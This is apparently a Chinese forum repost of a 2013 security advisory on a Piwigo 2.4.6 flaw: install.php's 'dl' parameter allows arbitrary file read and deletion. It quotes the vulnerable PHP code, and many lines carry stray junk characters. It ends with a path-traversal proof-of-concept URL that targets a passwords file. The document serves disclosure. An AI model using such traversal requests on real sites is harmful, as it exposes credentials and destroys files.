Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
8 y1 u$ M( d# H9 q/ X% Z====================================================================
$ J& W8 C4 [( W: ~/install.php:
/ I2 ~& O: k# ~, k0 I/ A5 K-------------
' [- i& r! _8 ]& z- e- l- E8 j113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
& k; X/ a. C) m% U1 B, {114: {
, z/ }0 j9 C  M7 Q" z# p115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
, D  f8 S3 B* j! w& x( {4 j: P116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
" n* z3 u" h9 m% M6 B/ C' Y118:   header('Content-Disposition: attachment; filename="database.inc.php"');
( ~6 V  ^6 D. Z/ ?% N/ [119:   header('Content-Transfer-Encoding: binary');
, C7 H( t- U$ o. }. I; r/ y120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
122:   unlink($filename);
8 Z  G0 k( x7 f123:   exit();
; R6 R" J- Y+ L4 j2 v124: }
: W: f; u) A5 q0 H2 I====================================================================

, {$ P  ?( O5 y8 ]Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
0 N6 J5 c. Y" S) v5 T' J' V& R: [                            @zeroscience

4 s2 n! Z' I9 R/ ~+ o7 Y2 hAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! {* l, k/ g. A! I( D9 \Vendor Patch: http://piwigo.org/bugs/view.php?id=2843

15.02.2013
5 c9 v% o7 F4 H, P/ {
$ Z" @# S( l8 I) @+ ~* y--
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
# V; l  P! \& I! O( \# M: h  W